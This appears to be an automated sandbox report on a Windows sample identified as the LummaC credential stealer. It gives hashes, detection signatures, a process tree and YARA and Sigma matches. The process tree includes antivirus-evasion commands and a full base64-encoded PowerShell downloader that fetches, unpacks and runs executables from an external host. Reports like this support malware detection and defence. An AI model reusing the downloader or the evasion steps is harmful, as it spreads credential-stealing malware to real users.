Edit tour

Windows Analysis Report
Setup.exe

Overview

General Information

Sample name:	Setup.exe
Analysis ID:	1570755
MD5:	5efe766f54925452535ef011161edd16
SHA1:	a03fdc832eece5fbed02c3987be9571098af24d4
SHA256:	9262348e1aa8c196cd38efcca58146dca6c40ad5132744f96e6b7ced57eb8fcd
Tags:	exeuser-aachum
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Search for Antivirus process

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

Connects to a pastebin service (likely for C&C)

Drops PE files with a suspicious file extension

Encrypted powershell cmdline option found

Loading BitLocker PowerShell Module

Query firmware table information (likely to detect VMs)

Sigma detected: Net WebClient Casing Anomalies

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Sigma detected: Suspicious PowerShell Parameter Substring

Sigma detected: Suspicious Script Execution From Temp Folder

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Abnormal high CPU Usage

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Suspicious Copy From or To System Directory

Sigma detected: Suspicious Execution of Powershell with Base64

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

Setup.exe (PID: 7664 cmdline: "C:\Users\user\Desktop\Setup.exe" MD5: 5EFE766F54925452535EF011161EDD16)

cmd.exe (PID: 7708 cmdline: "C:\Windows\System32\cmd.exe" /c copy Nevertheless Nevertheless.cmd && Nevertheless.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7772 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7780 cmdline: findstr /I "wrsa opssvc" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 7820 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7828 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 7872 cmdline: cmd /c md 189943 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

findstr.exe (PID: 7888 cmdline: findstr /V "ExpendituresReactionsRioWinterDialReducedPricingSoftware" Dennis MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 7908 cmdline: cmd /c copy /b ..\Handbook + ..\Attorneys + ..\Celebration + ..\Advert + ..\Loop + ..\Objectives + ..\Added X MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Attachment.com (PID: 7924 cmdline: Attachment.com X MD5: 6EE7DDEBFF0A2B78C7AC30F6E00D1D11)

powershell.exe (PID: 7736 cmdline: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\GWXV5ZWRBDHT2N15VSQM3K80X.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 3592 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

powershell.exe (PID: 8132 cmdline: powershell -exec bypass -Enc JAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4ACAAPQAgAHsACgAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMACgAKACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AMwA2ADAALgBuAGUAdAAiACkALgBHAGUAdABSAGUAcwBwAG8AbgBzAGUAKAApAC4AQwBsAG8AcwBlACgAKQAKAAoAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxAAoACgAgACAAIAAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoAQwByAGUAYQB0AGUAKAAiAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGIAYQBpAGQAdQAuAGMAbwBtACIAKQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQAoACkALgBDAGwAbwBzAGUAKAApAAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEACgAKACAAIAAgACAAJABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBrAGwAaQBwAGMAYQB0AGUAcABpAHUAMAAuAHMAaABvAHAALwBpAG4AdABfAGMAbABwAF8AcwBoAGEALgB0AHgAdAAiAAoAIAAgACAAIAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AAoAIAAgACAAIAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAgAD0AIAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAApAAoACgAgACAAIAAgACQAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0ACgAgACAAIAAgACQAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwALgBXAHIAaQB0AGUAKAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAsACAAMAAsACAAJABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwALgBMAGUAbgBnAHQAaAApAAoAIAAgACAAIAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAC4AUwBlAGUAawAoADAALAAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBTAGUAZQBrAE8AcgBpAGcAaQBuAF0AOgA6AEIAZQBnAGkAbgApAAoACgAgACAAIAAgACQAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARwB1AGkAZABdADoAOgBOAGUAdwBHAHUAaQBkACgAKQAuAFQAbwBTAHQAcgBpAG4AZwAoACkACgAgACAAIAAgACQAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEMAbwBtAGIAaQBuAGUAKAAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEALAAgACQAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAApAAoAIAAgACAAIABOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAEYAbwByAGMAZQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAKACAAIAAgACAAJAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBDAG8AbQBiAGkAbgBlACgAJABlAG4AdgA6AFQARQBNAFAALAAgACIAJABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAC4AegBpAHAAIgApAAoAIAAgACAAIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAJAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAAsACAAJABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAuAFQAbwBBAHIAcgBhAHkAKAApACkACgAKACAAIAAgACAAJABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AQwBvAG0ATwBiAGoAZQBjAHQAIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4ACgAgACAAIAAgACQAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAAgAD0AIAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAuAE4AYQBtAGUAUwBwAGEAYwBlACgAJAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAApAAoAIAAgACAAIAAkAHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAAgAD0AIAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAuAE4AYQBtAGUAUwBwAGEAYwBlACgAJAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAKQAKAAoAIAAgACAAIAAkAHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAAuAEMAbwBwAHkASABlAHIAZQAoACQAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAAuAEkAdABlAG0AcwAoACkALAAgADIAMAApAAoACgAgACAAIAAgACQAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAgAD0AIABHAGUAdAAtAEMAaABpAGwAZABJAHQAZQBtACAALQBQAGEAdABoACAAJAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAIAAtAEYAaQBsAHQAZQByACAAKgAuAGUAeABlACAALQBSAGUAYwB1AHIAcwBlAAoAIAAgACAAIABmAG8AcgBlAGEAYwBoACAAKAAkAHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4ACAAaQBuACAAJABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgALgBGAHUAbABsAE4AYQBtAGUAIAAtAE4AbwBOAGUAdwBXAGkAbgBkAG8AdwAgAC0AVwBhAGkAdAAKACAAIAAgACAAfQAKAAoAfQAKAAoAJgAgACQAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAAgAD4AIAAkAG4AdQBsAGwAIAAyAD4AJgAxAA== MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 8148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

choice.exe (PID: 7948 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

cleanup

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 7736	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x6f8b7:$b3: ::UTF8.GetString( 0x871c5:$s1: -join 0xdea05:$s1: -join 0xebada:$s1: -join 0xeeeac:$s1: -join 0xef55e:$s1: -join 0xf104f:$s1: -join 0xf3255:$s1: -join 0xf3a7c:$s1: -join 0xf42ec:$s1: -join 0xf4a27:$s1: -join 0xf4a59:$s1: -join 0xf4aa1:$s1: -join 0xf4ac0:$s1: -join 0xf5310:$s1: -join 0xf548c:$s1: -join 0xf5504:$s1: -join 0xf5597:$s1: -join 0xf57fd:$s1: -join 0xf7993:$s1: -join 0x1063dd:$s1: -join
Process Memory Space: powershell.exe PID: 8132	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x191dec:$b1: ::WriteAllBytes( 0x89f4:$s1: -join 0x150e1:$s1: -join 0x221b6:$s1: -join 0x25588:$s1: -join 0x25c3a:$s1: -join 0x2772b:$s1: -join 0x29931:$s1: -join 0x2a158:$s1: -join 0x2a9c8:$s1: -join 0x2b103:$s1: -join 0x2b135:$s1: -join 0x2b17d:$s1: -join 0x2b19c:$s1: -join 0x2b9ec:$s1: -join 0x2bb68:$s1: -join 0x2bbe0:$s1: -join 0x2bc73:$s1: -join 0x2bed9:$s1: -join 0x2e06f:$s1: -join 0x3cab9:$s1: -join

Other

Source	Rule	Description	Author	Strings
amsi32_7736.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x2ab:$b3: ::UTF8.GetString( 0x9f47:$s1: -join 0x36f3:$s4: += 0x37b5:$s4: += 0x79dc:$s4: += 0x9af9:$s4: += 0x9de3:$s4: += 0x9f29:$s4: += 0x37a39:$s4: += 0x37ab9:$s4: += 0x37b7f:$s4: += 0x37bff:$s4: += 0x37dd5:$s4: += 0x37e59:$s4: += 0x245:$e1: System.Diagnostics.Process

Sigma Signatures

System Summary

Sigma detected: Net WebClient Casing Anomalies

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -exec bypass -Enc JAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4ACAAPQAgAHsACgAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMACgAKACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AMwA2ADAALgBuAGUAdAAiACkALgBHAGUAdABSAGUAcwBwAG8AbgBzAGUAKAApAC4AQwBsAG8AcwBlACgAKQAKAAoAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxAAoACgAgACAAIAAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoAQwByAGUAYQB0AGUAKAAiAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGIAYQBpAGQAdQAuAGMAbwBtACIAKQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQAoACkALgBDAGwAbwBzAGUAKAApAAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEACgAKACAAIAAgACAAJABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBrAGwAaQBwAGMAYQB0AGUAcABpAHUAMAAuAHMAaABvAHAALwBpAG4AdABfAGMAbABwAF8AcwBoAGEALgB0AHgAdAAiAAoAIAAgACAAIAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AAoAIAAgACAAIAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAgAD0AIAAkAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAApAAoACgAgACAAIAAgACQAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0ACgAgACAAIAAgACQAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAb